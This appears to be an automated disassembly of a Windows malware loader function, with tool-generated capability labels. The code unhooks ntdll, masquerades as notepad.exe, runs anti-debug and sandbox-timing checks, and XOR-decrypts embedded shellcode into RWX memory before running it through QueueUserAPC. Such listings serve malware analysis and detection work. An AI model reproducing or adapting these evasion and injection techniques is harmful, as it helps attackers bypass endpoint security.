Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x850
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7c0], xmm6
mov dword [rbp + 0x7f0], ecx
mov qword [rbp + 0x7f8], rdx
call fcn.1400028c0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x740], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x738], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x730], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b8], rax
cmp qword [rbp + 0x7b8], 0
jne 0x140001533
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b8], rax
cmp qword [rbp + 0x7b8], 0
je 0x1400017c1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5a0]
mov rax, qword [rbp + 0x730]
mov r10, qword [rbp + 0x7b8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5a0]
mov qword [rbp + 0x728], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x728]
add rax, rdx
mov qword [rbp + 0x700], rax
mov word [rbp + 0x7b6], 0
jmp 0x1400017a9
mov rax, qword [rbp + 0x700]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x700]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7b6]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001798
mov dword [rbp + 0x568], 0
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x728]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x568]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x710]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x728]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x568]
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x728]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x568]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7b6]
add eax, 1
mov word [rbp + 0x7b6], ax
mov rax, qword [rbp + 0x700]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7b6], ax
jb 0x14000166d
mov ecx, 0x600
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f0], rax
mov dword [rbp + 0x7b0], 0
mov dword [rbp + 0x6ec], 1
mov dword [rbp + 0x7ac], 0
jmp 0x140001860
mov dword [rbp + 0x7a8], 0
jmp 0x140001850
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7ac]
movsxd rdx, edx
mov rcx, rdx
shl rcx, 6
mov rdx, qword [rbp + 0x6f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7a8]
cdqe
mov dword [r8 + rax*4], edx
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0xf
jle 0x1400017fe
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x17
jle 0x1400017f2
mov dword [rbp + 0x7ac], 0
jmp 0x1400018c7
mov dword [rbp + 0x7a8], 0
jmp 0x1400018b7
mov eax, dword [rbp + 0x7ac]
cdqe
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x6f0]
add rdx, rax
mov eax, dword [rbp + 0x7a8]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400018b0
add dword [rbp + 0x7b0], 1
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0xf
jle 0x140001881
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x17
jle 0x140001875
cmp dword [rbp + 0x7b0], 0xc0
je 0x1400018e6
mov dword [rbp + 0x6ec], 0
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x56c], 0
mov rax, qword [rbp + 0x740]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x570]
lea rax, [rbp + 0x56c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6e0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x578]
add rax, 0x3c
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6d8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x1400019e5
mov rax, qword [rbp + 0x6d0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov ecx, 0
call rax
mov dword [rbp + 0x7a4], eax
cmp dword [rbp + 0x7a4], 0xffffffff
je 0x1400027f8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
jne 0x1400027f8
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
jne 0x1400027f8
mov dword [rbp + 0x6ac], 0x3e3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x69c], eax
mov eax, dword [rbp + 0x6ac]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x698], eax
mov eax, dword [rbp + 0x698]
sub eax, dword [rbp + 0x69c]
cmp eax, 0x3b1
jbe 0x1400027f8
mov qword [rbp + 0x798], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
je 0x140001b90
mov rax, qword [rbp + 0x690]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x688]
mov r9d, 0x3000
mov r8d, 0x31a
mov edx, 0
call rax
mov qword [rbp + 0x798], rax
cmp qword [rbp + 0x798], 0
je 0x1400027f8
mov dword [rbp + 0x564], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x564]
mov r8, qword [rbp + 0x680]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x564]
cmp eax, 1
je 0x1400027f8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov ecx, 0
call rax
mov dword [rbp + 0x674], eax
cmp dword [rbp + 0x674], 0xffffffff
je 0x1400027f8
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x668], rax
cmp qword [rbp + 0x668], 0
je 0x1400027f8
mov rax, qword [rbp + 0x668]
mov edx, 0x4fa
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x664], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
jne 0x1400027f8
mov ecx, 0x4a7
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x4a7
jne 0x1400027f8
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, [rbp + 0xd0]
lea rdx, [0x140006140]
mov ecx, 0x92
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov dword [rbp + 0x790], 1
jmp 0x140001e21
mov dword [rbp + 0x794], 0
mov eax, dword [rbp + 0x790]
mov dword [rbp + 0x78c], eax
jmp 0x140001df7
mov edx, dword [rbp + 0x78c]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x5bc], edx
mov eax, dword [rbp + 0x5bc]
imul eax, eax
imul eax, dword [rbp + 0x5bc]
add dword [rbp + 0x794], eax
mov eax, dword [rbp + 0x78c]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x78c], eax
cmp dword [rbp + 0x78c], 0
jne 0x140001d8c
mov eax, dword [rbp + 0x794]
cmp eax, dword [rbp + 0x790]
jne 0x140001e1a
mov eax, dword [rbp + 0x790]
mov dword [rbp + 0x5c0], eax
add dword [rbp + 0x790], 1
cmp dword [rbp + 0x790], 0x37d
jle 0x140001d74
mov rax, qword [rbp + 0x738]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x648]
mov r8d, 0
mov edx, 0x491
mov ecx, 0x40000
call rax
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x788], 0x10e
jmp 0x140001ea6
sub dword [rbp + 0x788], 1
cmp dword [rbp + 0x788], 0
jg 0x140001e9f
mov rax, qword [rbp + 0x638]
mov r9, qword [rbp + 0x640]
mov r8d, 0x491
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x740]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x630]
mov r9, qword [rbp + 0x628]
mov r8d, 0x491
mov rcx, rax
call r9
mov dword [rbp + 0x784], 0xffffffff
add dword [rbp + 0x784], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x2b6
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065d8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400039f0
movq rax, xmm0
mov qword [rbp + 0x620], rax
cmp dword [rbp + 0x784], 0x3bc
jle 0x140001f21
mov dword [rbp + 0x780], 0
mov dword [rbp + 0x77c], 0
mov dword [rbp + 0x778], 0
movabs rax, 0x30381ff74c235b55
movabs rdx, 0x415b613829204751
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xeb94a1a9b86c91af
movabs rdx, 0xcbfbd060f958e062
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x55511807e4716b85
movabs rdx, 0x6088f9adbc94ad66
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x75cdc36cba9b6dea
movabs rdx, 0x43692bf0274f2eee
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x5e91c71efceb4354
movabs rdx, 0xab644b60f7b2ab6c
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x53b359d6e79c95
mov qword [rbp + 0xc0], rax
movabs rax, 0xab2fa84738e5c942
movabs rdx, 0xe337d2859357fa19
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xb6ba9e14c45ef62c
movabs rdx, 0x1604d269134e5bf8
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xa6953cbfa2fc3dc4
movabs rdx, 0x6accdc335d4f22ed
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x9dc0e50532754911
movabs rdx, 0xeadbaedb36256682
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x826fc8210628eadb
movabs rdx, 0xab56bd0ce67410
mov qword [rbp - 2], rax
mov qword [rbp + 6], rdx
movsd xmm0, qword [0x1400065e0]
movsd qword [rbp + 0x770], xmm0
movsd xmm0, qword [0x1400065e8]
movsd qword [rbp + 0x618], xmm0
jmp 0x140002118
movsd xmm0, qword [rbp + 0x618]
mov rax, qword [rbp + 0x770]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003bc0
movq rax, xmm0
mov qword [rbp + 0x770], rax
movsd xmm0, qword [0x1400065f0]
comisd xmm0, xmmword [rbp + 0x770]
ja 0x1400020ef
jmp 0x140002325
cmp dword [rbp + 0x77c], 0x4c
jne 0x14000216c
mov eax, dword [rbp + 0x780]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x77c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x780]
cdqe
mov byte [rbp + rax + 0x10], dl
mov dword [rbp + 0x77c], 0
jmp 0x14000219b
mov eax, dword [rbp + 0x780]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x77c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x780]
cdqe
mov byte [rbp + rax + 0x10], dl
add dword [rbp + 0x77c], 1
mov dword [rbp + 0x76c], 0
mov dword [rbp + 0x768], 0
mov ecx, 0x1c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d0], rax
mov dword [rbp + 0x764], 0
jmp 0x14000223a
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x764]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x76c], eax
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x6f
jle 0x1400021cc
mov dword [rbp + 0x764], 0
jmp 0x1400022bf
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x768]
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x5c4]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x1400065f8]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003bc0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x768], eax
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x6f
jle 0x14000224f
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x768]
movss xmm1, dword [0x140006600]
divss xmm0, xmm1
movss dword [rbp + 0x5cc], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x5cc]
movq rax, xmm3
movq xmm0, rax
call fcn.1400038b0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x5c8], xmm0
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x780], 1
mov eax, dword [rbp + 0x780]
cmp eax, 0x56
jbe 0x14000212f
mov dword [rbp + 0x780], 0
mov dword [rbp + 0x760], 0xffffffff
mov ecx, 0xa20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
add dword [rbp + 0x760], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065d8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x760]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x610]
add rax, rdx
movsd xmm1, qword [0x140006608]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x760]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x610]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x760]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x610]
add rax, rdx
movq xmm1, qword [0x140006610]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x760], 0x142
jle 0x140002359
jmp 0x1400024a3
cmp dword [rbp + 0x778], 0x56
jne 0x140002457
mov eax, dword [rbp + 0x780]
movsxd rdx, eax
mov rax, qword [rbp + 0x630]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x778]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x780]
movsxd rdx, eax
mov rax, qword [rbp + 0x630]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x778], 0
jmp 0x14000249c
mov eax, dword [rbp + 0x780]
movsxd rdx, eax
mov rax, qword [rbp + 0x630]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x778]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x780]
movsxd rdx, eax
mov rax, qword [rbp + 0x630]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x778], 1
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x490
jle 0x140002404
mov dword [rbp + 0x75c], 0x104
jmp 0x1400024c6
sub dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0
jg 0x1400024bf
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov ecx, 0xaa0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov ecx, 0xaa0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e8], rax
mov ecx, 0xaa0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e0], rax
mov dword [rbp + 0x758], 0
jmp 0x14000264b
mov dword [rbp + 0x754], 0
jmp 0x140002637
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x758]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x5f0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x754]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x758]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x5e8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x754]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x754], 1
cmp dword [rbp + 0x754], 0x27
jle 0x140002570
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0x10
jle 0x140002561
mov dword [rbp + 0x758], 0
jmp 0x140002728
mov dword [rbp + 0x754], 0
jmp 0x140002714
mov eax, dword [rbp + 0x758]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x5f0]
add rdx, rax
mov eax, dword [rbp + 0x754]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x758]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x5e8]
add rdx, rax
mov eax, dword [rbp + 0x754]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x758]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x5e0]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x754]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x754], 1
cmp dword [rbp + 0x754], 0x27
jle 0x140002676
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0x10
jle 0x140002667
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x608]
mov r9, qword [rbp + 0x600]
mov r8d, 0
mov rcx, rax
call r9
movsd xmm0, qword [0x140006620]
movsd qword [rbp + 0x748], xmm0
movsd xmm0, qword [0x140006628]
movsd qword [rbp + 0x5d8], xmm0
jmp 0x1400027d3
movsd xmm0, qword [rbp + 0x5d8]
mov rax, qword [rbp + 0x748]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003bc0
movq rax, xmm0
mov qword [rbp + 0x748], rax
movsd xmm0, qword [0x140006630]
comisd xmm0, xmmword [rbp + 0x748]
ja 0x1400027aa
mov rax, qword [rbp + 0x5f8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x7c0]
add rsp, 0x850
pop rsi
pop rdi
pop rbp
ret